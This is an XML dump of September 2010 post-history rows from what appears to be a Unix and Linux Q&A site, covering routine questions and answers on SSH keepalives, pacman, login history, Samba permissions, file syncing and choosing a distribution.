  <row Id="4109" PostHistoryTypeId="5" PostId="1839" RevisionGUID="26f89a1c-b1dc-4fd2-b436-563d208ad3ae" CreationDate="2010-09-14T06:36:24.443" UserId="1608" Comment="added 4 characters in body" Text="Hello all,&#xD;&#xA;&#xD;&#xA;I want to know about the &quot;filter-command&quot; which are available in Unix.&#xD;&#xA;I am confused regarding this:&#xD;&#xA;&#xD;&#xA; 1. What is the purpose of &quot;Filter-Command&quot; ?&#xD;&#xA; 2. Which are the Filter-commands available in Unix?&#xD;&#xA;&#xD;&#xA;I have read some books/articles on web, in some books i found few filter commands and in some books i found some other." />
  <row Id="4110" PostHistoryTypeId="5" PostId="1993" RevisionGUID="18fa09a2-1053-4cf9-869c-24feb6a7b00d" CreationDate="2010-09-14T06:53:52.417" UserId="1327" Comment="updated question" Text="I have a package that's installed on my PC as an dependency to another package.&#xD;&#xA;&#xD;&#xA;I would like to have the package explicitly installed, but without actually re-installing it, or downloading any files.&#xD;&#xA;&#xD;&#xA;Is this possible?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**update**:&#xD;&#xA;&#xD;&#xA;I do not have any packages cached in `/var/cache/pacman/pkg`, which is one of the reasons I want to change the package detail without a re-install.&#xD;&#xA;&#xD;&#xA;Even If I had the packages cached, running pacman -S &lt;package&gt; would mean the whole install proccess is run, which I also want to avoid.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4111" PostHistoryTypeId="6" PostId="1993" RevisionGUID="18fa09a2-1053-4cf9-869c-24feb6a7b00d" CreationDate="2010-09-14T06:53:52.417" UserId="1327" Comment="updated question" Text="éarchölinuxàépackageömanagementàépacmanà" />
  <row Id="4112" PostHistoryTypeId="6" PostId="1588" RevisionGUID="b08519a2-1031-412e-95de-632ed4209b54" CreationDate="2010-09-14T07:14:12.380" UserId="1327" Comment="edited tags" Text="écommandölineàésplitöcommandà" />
  <row Id="4113" PostHistoryTypeId="2" PostId="2008" RevisionGUID="169f7b38-3be1-43cb-b83c-36ad51eade33" CreationDate="2010-09-14T07:17:43.250" UserId="885" Text="For past logins:&#xD;&#xA;&#xD;&#xA;    last &quot;$USER_NAME&quot;&#xD;&#xA;&#xD;&#xA;Also, the command `who` lists current logins.&#xD;&#xA;" />
  <row Id="4114" PostHistoryTypeId="2" PostId="2009" RevisionGUID="fd73744d-fcac-4410-b788-7cde3eecae48" CreationDate="2010-09-14T08:57:40.443" UserId="269" Text="Whenever I log in[1] I get a Seahorse/gnome-keyring prompt telling me an application wants to access my keyring. It isn't the network manager.[2] How can I tell which application is making this request? The prompt doesn't provide this information.&#xD;&#xA;&#xD;&#xA;[1] on Ubuntu Lucid Lynx 10.04&#xD;&#xA;&#xD;&#xA;[2] I know because if I cancel the request my network connection is still established. Also, this only started happening recently.&#xD;&#xA;&#xD;&#xA;[3] Please add the tags &quot;gnome-keyring&quot; and &quot;seahorse&quot;" />
  <row Id="4115" PostHistoryTypeId="1" PostId="2009" RevisionGUID="fd73744d-fcac-4410-b788-7cde3eecae48" CreationDate="2010-09-14T08:57:40.443" UserId="269" Text="How can I tell *which* application is asking for access to gnome-keyring/Seahorse?" />
  <row Id="4116" PostHistoryTypeId="3" PostId="2009" RevisionGUID="fd73744d-fcac-4410-b788-7cde3eecae48" CreationDate="2010-09-14T08:57:40.443" UserId="269" Text="égnomeàépasswordà" />
  <row Id="4117" PostHistoryTypeId="2" PostId="2010" RevisionGUID="88c6ad59-3ae0-4fad-bc4c-6a7fa05e7a64" CreationDate="2010-09-14T09:04:35.680" UserId="1431" Text="Sometimes my SSH session disconnects with a `Write failed: Broken pipe` message. What does it mean? And how can I keep my session open?&#xD;&#xA;&#xD;&#xA;I know about `screen`, but that's not the answer I'm looking for. I think this is a `sshd` config option." />
  <row Id="4118" PostHistoryTypeId="1" PostId="2010" RevisionGUID="88c6ad59-3ae0-4fad-bc4c-6a7fa05e7a64" CreationDate="2010-09-14T09:04:35.680" UserId="1431" Text="What does the Broken pipe message mean in an SSH session?" />
  <row Id="4119" PostHistoryTypeId="3" PostId="2010" RevisionGUID="88c6ad59-3ae0-4fad-bc4c-6a7fa05e7a64" CreationDate="2010-09-14T09:04:35.680" UserId="1431" Text="ésshà" />
  <row Id="4120" PostHistoryTypeId="2" PostId="2011" RevisionGUID="41ac3127-ae66-4e87-aff0-f8f1b1d52d32" CreationDate="2010-09-14T09:44:50.223" UserId="1131" Text="It usually means that your network (TCP) connection was reset. E.g. your internet provider reconnected you or something like this." />
  <row Id="4121" PostHistoryTypeId="6" PostId="2009" RevisionGUID="345e0122-6be5-4b6c-908a-5a2c674f28b9" CreationDate="2010-09-14T09:45:58.587" UserId="252" Comment="edited tags" Text="égnomeàépasswordàégnomeökeyringà" />
  <row Id="4122" PostHistoryTypeId="2" PostId="2012" RevisionGUID="6fe442da-716f-4c04-9c9d-ec2c2638d9da" CreationDate="2010-09-14T09:49:19.100" UserId="1131" Text="[Fcron][1] has a lot of additional features over common cronds. For example:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;* set the max system load average value under which the job should be run&#xD;&#xA;&#xD;&#xA;(quote from the Homepage)&#xD;&#xA;&#xD;&#xA;Thus, you could use fcron to setup what you want.&#xD;&#xA;&#xD;&#xA;  [1]: http://fcron.free.fr/description.php" />
  <row Id="4123" PostHistoryTypeId="2" PostId="2013" RevisionGUID="5d23c595-3521-4fee-8481-1e4d9443a15b" CreationDate="2010-09-14T09:56:52.657" UserId="252" Text="It's possible that your server closes connections that are idle for too long.&#xD;&#xA;You can update either your client (`ServerAliveInterval`) or your server (`ClientAliveInterval`)&#xD;&#xA;&#xD;&#xA;     ServerAliveInterval&#xD;&#xA;             Sets a timeout interval in seconds after which if no data has&#xD;&#xA;             been received from the server, ssh(1) will send a message through&#xD;&#xA;             the encrypted channel to request a response from the server.  The&#xD;&#xA;             default is 0, indicating that these messages will not be sent to&#xD;&#xA;             the server.  This option applies to protocol version 2 only.&#xD;&#xA;&#xD;&#xA;     ClientAliveInterval&#xD;&#xA;             Sets a timeout interval in seconds after which if no data has&#xD;&#xA;             been received from the client, sshd(8) will send a message&#xD;&#xA;             through the encrypted channel to request a response from the&#xD;&#xA;             client.  The default is 0, indicating that these messages will&#xD;&#xA;             not be sent to the client.  This option applies to protocol&#xD;&#xA;             version 2 only.&#xD;&#xA;&#xD;&#xA;To update your server (and restart your `sshd`)&#xD;&#xA;&#xD;&#xA;    echo &quot;ClientAliveInterval 60&quot; | sudo tee -a /etc/ssh/sshd_config&#xD;&#xA;&#xD;&#xA;Or client-side:&#xD;&#xA;&#xD;&#xA;    echo &quot;ServerAliveInterval 60&quot; &gt;&gt; ~/.ssh/config " />
  <row Id="4124" PostHistoryTypeId="2" PostId="2014" RevisionGUID="1d7f3d01-744e-4a27-aed2-54d19864984d" CreationDate="2010-09-14T11:38:58.520" UserId="57" Text="I want to understand how OpenSolaris [ptools][1](process tools) works. How exactly  pstack,pmap,pargs etc works.  &#xD;&#xA;But cant find any link to its full source code.  &#xD;&#xA;I can only find online version of the [source][2].  &#xD;&#xA;Any advice where I can download source code for offline use?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.sun.com/solaris/articles/solaris_performanceandtools_ch3_processes.pdf&#xD;&#xA;  [2]: http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/cmd/ptools/" />
  <row Id="4125" PostHistoryTypeId="1" PostId="2014" RevisionGUID="1d7f3d01-744e-4a27-aed2-54d19864984d" CreationDate="2010-09-14T11:38:58.520" UserId="57" Text="Can not find link to download OpenSolaris soruce code :(" />
  <row Id="4126" PostHistoryTypeId="3" PostId="2014" RevisionGUID="1d7f3d01-744e-4a27-aed2-54d19864984d" CreationDate="2010-09-14T11:38:58.520" UserId="57" Text="ésolarisàéopensolarisà" />
  <row Id="4127" PostHistoryTypeId="2" PostId="2015" RevisionGUID="adc11bc7-9b4a-4984-afb0-89fe4f2967e2" CreationDate="2010-09-14T11:43:01.843" UserId="1447" Text="Download it from the [main download page][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://hub.opensolaris.org/bin/view/Main/downloads" />
  <row Id="4128" PostHistoryTypeId="2" PostId="2016" RevisionGUID="83b5fc41-1f99-4fd4-aa72-47a2c2bf556d" CreationDate="2010-09-14T11:55:31.063" UserId="1327" Text="I found the answer on [Arch Linux Furoms][1]&#xD;&#xA;&#xD;&#xA;Since pacman 3.4 you can use&#xD;&#xA;&#xD;&#xA;    pacman -D --asexplicit &lt;pkgs&gt;&#xD;&#xA;&#xD;&#xA;to modify *only* the database&#xD;&#xA;&#xD;&#xA;[1]:https://bbs.archlinux.org/viewtopic.php?pid=825936#p825936" />
  <row Id="4129" PostHistoryTypeId="2" PostId="2017" RevisionGUID="c0bada3d-2545-46b6-823c-cce51df44ab4" CreationDate="2010-09-14T12:12:36.093" UserId="629" Text="[Get The Source][1]&#xD;&#xA;&#xD;&#xA;It's possible you'll need to use Mercurial to get it.&#xD;&#xA;&#xD;&#xA;  [1]: http://hub.opensolaris.org/bin/view/Main/get" />
  <row Id="4130" PostHistoryTypeId="10" PostId="577" RevisionGUID="c6d672c5-b2f0-405a-80e0-05b4f5c39316" CreationDate="2010-09-14T14:53:22.453" UserId="73" CloseReasonId="2" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="4131" PostHistoryTypeId="2" PostId="2018" RevisionGUID="fd3fdb4e-3b7a-4544-a276-454087bf2062" CreationDate="2010-09-14T15:23:56.860" UserId="1265" Text="I recommend you to use file synchronizing tools. File system level solution to your problem may not be feasible. Check out [unison][1] and [conduit][2]. As I understand you already have a copy of files in your primary computer. Here is the work flow that i use:&#xD;&#xA;&#xD;&#xA;1. Work and change files on PC_1. After you are done synchronize them to your USB Stick.&#xD;&#xA;2. Connect the USB stick to your PC_2 and synchronize the content to your PC_2.&#xD;&#xA;3. Work and change files on PC_2. After you are done synchronize them to your USB Stick.&#xD;&#xA;&#xD;&#xA;Synchronizing will be very fast because only the changed files will be rewritten. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cis.upenn.edu/~bcpierce/unison/&#xD;&#xA;  [2]: http://live.gnome.org/Conduit" />
  <row Id="4132" PostHistoryTypeId="16" PostId="2018" RevisionGUID="fd3fdb4e-3b7a-4544-a276-454087bf2062" CreationDate="2010-09-14T15:23:56.860" UserId="1265" />
  <row Id="4133" PostHistoryTypeId="2" PostId="2019" RevisionGUID="0db51681-bf5d-4555-b107-3d45edeeae3c" CreationDate="2010-09-14T15:39:49.067" UserId="274" Text="This seems a use case for [dm-userspace+cowd](http://wiki.xensource.com/xenwiki/DmUserspace): in essence, you would set up a DM target (block device) consisting of a COW (copy-on-write) file and the block device corresponding to your USB stick, and use it to host a filesystem.  All updates would go to the COW file; reads which are not in the COW file would be served off the USB stick; after you unmount the filesystem, merge modifications from the COW file into the USB stick. &#xD;&#xA;&#xD;&#xA;Unfortunately, it's Linux specific and [development seems to have stopped in 2007.](http://static.danplanet.com/hg/dm-userspace.ring)&#xD;&#xA;&#xD;&#xA;If what you want to do is sync'ing files across two (or more) PCs, may I suggest that you [put your home (or relevant folders) under a versioning system?](http://unix.stackexchange.com/questions/1875/tips-for-putting-under-source-control)  The usual work cycle becomes like this: &#xD;&#xA;&#xD;&#xA;1. plug in USB stick; &#xD;&#xA;2. update home directory repository by pulling latest changes from the USB stick;&#xD;&#xA;3. do your stuff;&#xD;&#xA;4. commit changes to the versioning system and update repository on the USB stick.&#xD;&#xA;&#xD;&#xA;That's only one write to the USB stick.  (Although I agree with what others have said, that by the time yoru USB stick wears out, you will probably have bought another -larger- one.)&#xD;&#xA;" />
  <row Id="4134" PostHistoryTypeId="5" PostId="2018" RevisionGUID="9dc8f5c6-459f-415a-8da0-f38cc45b2c78" CreationDate="2010-09-14T15:47:09.820" UserId="1265" Comment="added 391 characters in body" Text="I recommend you to use file synchronizing tools. File system level solution to your problem may not be feasible. Check out [unison][1] and [conduit][2]. As I understand you already have a copy of files in your primary computer. Here is the work flow that i use:&#xD;&#xA;&#xD;&#xA; 1. Work and change files on PC_1. After you are done synchronize them to your USB Stick.&#xD;&#xA;&#xD;&#xA; 2. Connect the USB stick to your PC_2 and synchronize the content to your PC_2.&#xD;&#xA;&#xD;&#xA; 3. Work and change files on PC_2. After you are done synchronize them to your USB Stick.&#xD;&#xA;&#xD;&#xA;Synchronizing will be very fast because only the changed files will be rewritten. Also you can write mount and unmount triggers that will automatically make the synchronization.&#xD;&#xA;&#xD;&#xA;For a file system solution you can look for some FS with Copy On Write attribute, e.g. btrfs. Taking snapshots and syncing them may be faster and more effective.  But I couldn't find any implementation yet. Also working on file system level will not ease your way on conflict resolution.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.cis.upenn.edu/~bcpierce/unison/&#xD;&#xA;  [2]: http://live.gnome.org/Conduit" />
  <row Id="4135" PostHistoryTypeId="5" PostId="1463" RevisionGUID="b8f4062f-261a-4d7f-95ef-5f9813e356c8" CreationDate="2010-09-14T16:09:01.440" UserId="125" Comment="added 9 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Server oriented:&#xD;&#xA;&#xD;&#xA;- FreeBSD -&gt; http://www.freebsd.org/&#xD;&#xA;&#xD;&#xA;- Red Hat Enterprise Linux -&gt; http://www.redhat.com/rhel/&#xD;&#xA;&#xD;&#xA;- CentOS -&gt; http://www.centos.org/&#xD;&#xA;&#xD;&#xA;- Oracle Enterprise Linux -&gt; http://www.oracle.com/us/technologies/linux/index.html&#xD;&#xA;&#xD;&#xA;- SUSE Linux Enterprise Server -&gt; http://www.novell.com/products/server/&#xD;&#xA;&#xD;&#xA;- Debian -&gt; http://www.debian.org/&#xD;&#xA;&#xD;&#xA;- Ubuntu Server -&gt; http://www.ubuntu.com/server&#xD;&#xA;&#xD;&#xA;Small Business Server:&#xD;&#xA;&#xD;&#xA;- Zentyal -&gt; http://www.zentyal.org/&#xD;&#xA;&#xD;&#xA;- ClearOS -&gt; http://www.clearfoundation.com/&#xD;&#xA;&#xD;&#xA;- SME Server -&gt; http://wiki.contribs.org/Main_Page&#xD;&#xA;&#xD;&#xA;What I would choose:&#xD;&#xA;&#xD;&#xA;**Linuxes**: Ubuntu (Kubuntu), Debian, openSUSE (SUSE Linux Enterprise), Fedora (Red Hat Enterprise Linux, CentOS)&#xD;&#xA;&#xD;&#xA;**UNIXes**: Solaris, HP-UX, and AIX&#xD;&#xA;&#xD;&#xA;**BSDs**: FreeBSD, PC-BSD, OpenBSD&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="4136" PostHistoryTypeId="5" PostId="2006" RevisionGUID="94e10b2b-7008-4e59-8844-9fd6ee975d05" CreationDate="2010-09-14T16:16:42.287" UserId="692" Comment="Added smb.conf" Text="I have a problem where permission bits are not being enforced on a samba share using a Linux client. I have samba configured on the server to force a certain user, group and permission bits and this works as expected until I touch the file or it becomes the target of IO redirection.&#xD;&#xA;&#xD;&#xA;Here's what's happening:&#xD;&#xA;&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    ls: cannot access /home/user/archive/foo.txt: No such file or directory&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rw-rw-r-- 1 archive archive 0 2010-09-13 20:29 /home/user/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;touch ~/archive/foo.txt&#xD;&#xA;    user@linuxbox:~--&gt;ls -l ~/archive/foo.txt&#xD;&#xA;    -rwxrwxrwx 1 archive archive 0 2010-09-13 20:30 /home/user/archive/foo.txt&#xD;&#xA;&#xD;&#xA;Notice when I touch the existing file its permission bits are 0777. They're supposed to be 0664 like when it was first created. How can I enforce 0664 on the existing file?&#xD;&#xA;&#xD;&#xA;Here's my smb.conf&#xD;&#xA;&#xD;&#xA;    [global]&#xD;&#xA;    interfaces = egiga0&#xD;&#xA;    unix charset = UTF8&#xD;&#xA;    workgroup = workgroup&#xD;&#xA;    netbios name = foo&#xD;&#xA;    server string =	Foo&#xD;&#xA;    security = USER&#xD;&#xA;    map to guest = bad user&#xD;&#xA;    host msdfs = no&#xD;&#xA;    encrypt passwords = yes&#xD;&#xA;    &#xD;&#xA;    [archive]&#xD;&#xA;    comment = File Archive&#xD;&#xA;    path = /home/archive&#xD;&#xA;    force user = archive&#xD;&#xA;    force group = archive&#xD;&#xA;    read only = yes&#xD;&#xA;    write list = @archive&#xD;&#xA;    guest ok = yes&#xD;&#xA;    create mask = 0&#xD;&#xA;    force create mode = 0664&#xD;&#xA;    security mask = 0&#xD;&#xA;    force security mode = 0664&#xD;&#xA;    directory mask = 0&#xD;&#xA;    force directory mode = 0775&#xD;&#xA;    directory security mask = 0&#xD;&#xA;    force directory security mode = 0775&#xD;&#xA;&#xD;&#xA;" />
  <row Id="4137" PostHistoryTypeId="5" PostId="1463" RevisionGUID="a53c6cf5-13d9-4caf-81a9-7f34c3315869" CreationDate="2010-09-14T16:18:42.127" UserId="125" Comment="deleted 891 characters in body" Text="The differences among Linux distributions are not cosmically significant. In fact,&#xD;&#xA;it is something of a mystery why there are so many different distributions, each&#xD;&#xA;claiming “easy installation” and “a massive software library” as its distinguishing&#xD;&#xA;features. It’s hard to avoid the conclusion that people just like to make new Linux&#xD;&#xA;distributions.&#xD;&#xA;&#xD;&#xA;The most viable distributions are not necessarily the most corporate. For example,&#xD;&#xA;we expect Debian GNU/Linux to remain viable for a long time despite the fact that Debian is not a company, doesn’t sell anything, and offers no formal, on-demand support. Debian itself isn’t one of the most widely used distributions, but it benefits from a committed group of contributors and from the enormous popularity of the Ubuntu distribution, which is based on it.&#xD;&#xA;&#xD;&#xA;When you adopt a distribution, you are making an investment in a particular vendor’s way of doing things. Instead of looking only at the features of the installed software, it’s wise to consider how your organization and that vendor are going to work with each other in the years to come.&#xD;&#xA;&#xD;&#xA;**Some important questions to ask are:&#xD;&#xA;&#xD;&#xA; • Is this distribution going to be around in five years?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to stay on top of the latest security patches?&#xD;&#xA;&#xD;&#xA; • Is this distribution going to release updated software promptly?&#xD;&#xA;&#xD;&#xA; • If I have problems, will the vendor talk to me?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;If you're looking for a GNU/Linux distro you should definitely check these websites:&#xD;&#xA;&#xD;&#xA; - http://lwn.net/Distributions/&#xD;&#xA;   &#xD;&#xA; - http://distrowatch.com/&#xD;&#xA;&#xD;&#xA; - http://www.linux.org/dist&#xD;&#xA;&#xD;&#xA;If you're looking for a BSD you should check: http://bsdstats.org/&#xD;&#xA;&#xD;&#xA;-----------------------------------------------------------------------------------------&#xD;&#xA;&#xD;&#xA;Credit: Some information in this post is taken from [&quot;UNIX and Linux System Administration Handbook&quot;][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/q0dG7.jpg&#xD;&#xA;  [2]: http://admin.com/" />
  <row Id="4138" PostHistoryTypeId="5" PostId="1428" RevisionGUID="80d69b2e-d22b-4f93-8fce-0803ad219ee8" CreationDate="2010-09-14T16:22:49.870" UserId="1327" Comment="edited body" Text="If you know polish there is wonderful [quiz and 1 vs. 1 comparation][1]. Unfortunatly I don't think it was translated (maybe Google Translator would work?) - there are however [other quizes][2] &#xD;&#xA;&#xD;&#xA;Generally it depends how much:&#xD;&#xA;&#xD;&#xA;1. You know about systems&#xD;&#xA;2. You want to have it automated - do you want to fine-tune system or have it 'just working'&#xD;&#xA;3. What is the purpose&#xD;&#xA;&#xD;&#xA;Especially if you don't know anything and you don't want to spent much time I would advise [Ubuntu][3] as both user-friendly and having large and active community. You may want to try other user-friendly systems.&#xD;&#xA;&#xD;&#xA;If you want to go into deep of system I'd advice using more command-line oriented systems like [Arch Linux][4], [Gentoo Linux][5] or [Slackware][6]. IMHO especially  [Gentoo Linux][7] is good for crash run as you **will** run into various problems from inexperience and you **will** learn to solve it.&#xD;&#xA;&#xD;&#xA;On servers traditionally [Debian][8] or [Slackware][9] is used however there are many other systems.&#xD;&#xA;&#xD;&#xA;However there are people who uses [Debian][10] testing or unstable as desktop systems successfully or use [Gentoo Linux][11] on production servers.&#xD;&#xA;&#xD;&#xA;As of BSD they tend to have smaller communities which is disadvantage with the first-contact-with-*nix situations. [FreeBSD][12] traditionally is all around operating system while [NetBSD][13] tends to run on everything. [OpenBSD][14] tends to sacrifice everything in name of security and is considered rock stable even if sometimes somehow slowish.&#xD;&#xA;&#xD;&#xA;The good thing is that most distribution are free so you can just try them. Many have Live CD or Live USB which allows you to try them without installing (some of them functions only as Live CD - such as for example [Knoppix][15] or [System Rescue CD][16]). There are many distributions which I haven't listed such as those written specificly for router.&#xD;&#xA;&#xD;&#xA;Yes - the variety of choises is mixed blessing and I'm afraid the only way is to try them to find something for yourself. If you don't want to try and you want to have something just working - probably &#xD;&#xA;[Ubuntu][17] should be your first shot.&#xD;&#xA;&#xD;&#xA;As of my configuration - I use [Gentoo Linux][18] on semi-production laptop and [FreeBSD][19] on home server but I would considered myself an advanced user.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jakilinux.org/jaki-linux/&#xD;&#xA;  [2]: http://www.google.com/search?q=linux+distribution+quiz&#xD;&#xA;  [3]: http://www.ubuntu.com/&#xD;&#xA;  [4]: http://www.archlinux.org/&#xD;&#xA;  [5]: http://www.gentoo.org&#xD;&#xA;  [6]: http://www.slackware.com/&#xD;&#xA;  [7]: http://www.gentoo.org&#xD;&#xA;  [8]: http://www.debian.org/&#xD;&#xA;  [9]: http://www.slackware.com/&#xD;&#xA;  [10]: http://www.debian.org/&#xD;&#xA;  [11]: http://www.gentoo.org&#xD;&#xA;  [12]: http://www.freebsd.org&#xD;&#xA;  [13]: http://www.netbsd.org&#xD;&#xA;  [14]: http://www.openbsd.org&#xD;&#xA;  [15]: http://www.knoppix.net/&#xD;&#xA;  [16]: http://www.sysresccd.org/&#xD;&#xA;  [17]: http://www.ubuntu.com/&#xD;&#xA;  [18]: http://www.gentoo.org&#xD;&#xA;  [19]: http://www.freebsd.org" />
  <row Id="4139" PostHistoryTypeId="5" PostId="1970" RevisionGUID="5c73a60b-aae3-406c-bbb9-c0f709bda57d" CreationDate="2010-09-14T16:49:05.157" UserId="1458" Comment="Clarifying the question; added 29 characters in body" Text="I work in two PCs and I sync all my files from my primary PC to a USB flash memory. In my second PC, I mount the USB flash memory to the same path to work on my files as I were on my primary PC.&#xD;&#xA;&#xD;&#xA;Now for the sake of performance and flash memory lifetime, I need to use any type of differencing, aka overlay, aka union, file-system (like unionfs or aufs) to let me use the USB flash disk as read-only and write changes to a temp directory and at the end allows me to write the changes back to the USB flash at once.&#xD;&#xA;&#xD;&#xA;Any help?&#xD;&#xA;Any hope?&#xD;&#xA;&#xD;&#xA;**Update:**&#xD;&#xA;&#xD;&#xA;Thanks for all your answers and comments. I am interested in Linux and my question is: **Does any of the above file-systems allow committing the writes to the lower file-systems when required? If yes, how?**" />
  <row Id="4140" PostHistoryTypeId="5" PostId="2009" RevisionGUID="ed9ff873-7a5d-46ae-9df4-f05c5a5ca1b6" CreationDate="2010-09-14T16:59:06.853" UserId="73" Comment="deleted 82 characters in body; edited tags" Text="Whenever I log in on Ubuntu Lucid Lynx 10.04 I get a Seahorse/gnome-keyring prompt telling me an application wants to access my keyring. It isn't the network manager, because if I cancel the request my network connection is still established (also, this only started happening recently). How can I tell which application is making this request? The prompt doesn't provide this information.&#xD;&#xA;" />
  <row Id="4141" PostHistoryTypeId="6" PostId="2009" RevisionGUID="ed9ff873-7a5d-46ae-9df4-f05c5a5ca1b6" CreationDate="2010-09-14T16:59:06.853" UserId="73" Comment="deleted 82 characters in body; edited tags" Text="égnomeàépasswordàégnomeökeyringà" />
  <row Id="4142" PostHistoryTypeId="5" PostId="2008" RevisionGUID="1e33d038-5dd4-4596-8a01-8b202c90f490" CreationDate="2010-09-14T17:33:43.690" UserId="885" Comment="mention lastlog and others" Text="For past logins:&#xD;&#xA;&#xD;&#xA;    last &quot;$USER_NAME&quot;&#xD;&#xA;&#xD;&#xA;Also, the command `who` lists current logins.&#xD;&#xA;&#xD;&#xA;If you're looking for the date of the user's last login, some systems provide it directly, for example `lastlog -u &quot;$USER_NAME&quot;` on Linux or `lastlogin &quot;$USER_NAME&quot;` on FreeBSD. It's also available in the output of `finger`, but not in an easy-to-parse form. In any case, it's available in the output of `last` (on many unix variants, `last -n 1 &quot;$USER_NAME&quot;` shows the last login; otherwise you can do `last &quot;$USER_NAME&quot; | head -n 1`). Note that last login may not correspond to the last logout (e.g. a user remained connected from one origin for a long time and made a quick network login recently).&#xD;&#xA;" />
  <row Id="4143" PostHistoryTypeId="5" PostId="1987" RevisionGUID="fd2c7e2b-e153-4802-bd01-f4161b4de1a8" CreationDate="2010-09-14T18:13:40.387" UserId="73" Comment="deleted 48 characters in body" Text="We're trying to get a QLogic 42C1831 HBA installed on a system using RHEL 4.8. We've tried the drivers from QLogic for Linux Kernel 2.6.x (which this system is running) and are getting all sorts of errors trying to install them. The drivers to specifically mention that they're for RHEL 5.x, but I was wondering if anyone has gotten this to work?&#xD;&#xA;&#xD;&#xA;If you'd like to look at the driver files we're using they're [here](http://filedownloads.qlogic.com/Files/TempDownlods/26913/qlge_1.0.0.22-091001_r5_2.6.18.tgz)&#xD;&#xA;" />
  <row Id="4144" PostHistoryTypeId="2" PostId="2020" RevisionGUID="c02e3586-9c6f-4607-b038-965fba3efed8" CreationDate="2010-09-14T18:28:25.117" UserId="1679" Text="Is there a way to `mv`,`cp`, or any file operation that I could specify all the files but the files I want to keep?&#xD;&#xA;&#xD;&#xA;So if I have 3 files, file1, file2, and file3...and I want to move file1 and file2..I would like a way so I wouldn't have to do `mv file1 file2 *destination*`..rather `mv  some *parameter* file3`" />
  <row Id="4145" PostHistoryTypeId="1" PostId="2020" RevisionGUID="c02e3586-9c6f-4607-b038-965fba3efed8" CreationDate="2010-09-14T18:28:25.117" UserId="1679" Text="commandline mv everything BUT" />
  <row Id="4146" PostHistoryTypeId="3" PostId="2020" RevisionGUID="c02e3586-9c6f-4607-b038-965fba3efed8" CreationDate="2010-09-14T18:28:25.117" UserId="1679" Text="écommandölineà" />
  <row Id="4147" PostHistoryTypeId="2" PostId="2021" RevisionGUID="547bdd31-e174-4673-813c-7f06b0c4ccaf" CreationDate="2010-09-14T18:31:45.313" UserId="1339" Text="Like Kristof Provost mentioned, the official source for the code is &#xD;&#xA;&#xD;&#xA;    ssh://anon@hg.opensolaris.org/hg/project/project-repo&#xD;&#xA;&#xD;&#xA;Like you said the source tarballs are now depricated.&#xD;&#xA;&#xD;&#xA;&gt; and I cant install Mercurial :(&#xD;&#xA;&#xD;&#xA;? But you should have access to some machine where you can? If not, another possibility would be a live cd with mercurial installed, for example the excellent [GRML][1].&#xD;&#xA;&#xD;&#xA;Beside that, I cloned the repository for you ;-) You can find it under: http://solaris.oark.org/usr/src/. What you are looking for is the directory http://solaris.oark.org/usr/src/cmd/ptools/. `wget` should now do the job :-)&#xD;&#xA;&#xD;&#xA;Note: I will delete this cloned repository the next weeks...&#xD;&#xA;&#xD;&#xA;Have fun. &#xD;&#xA;&#xD;&#xA;  [1]: http://grml.org/" />
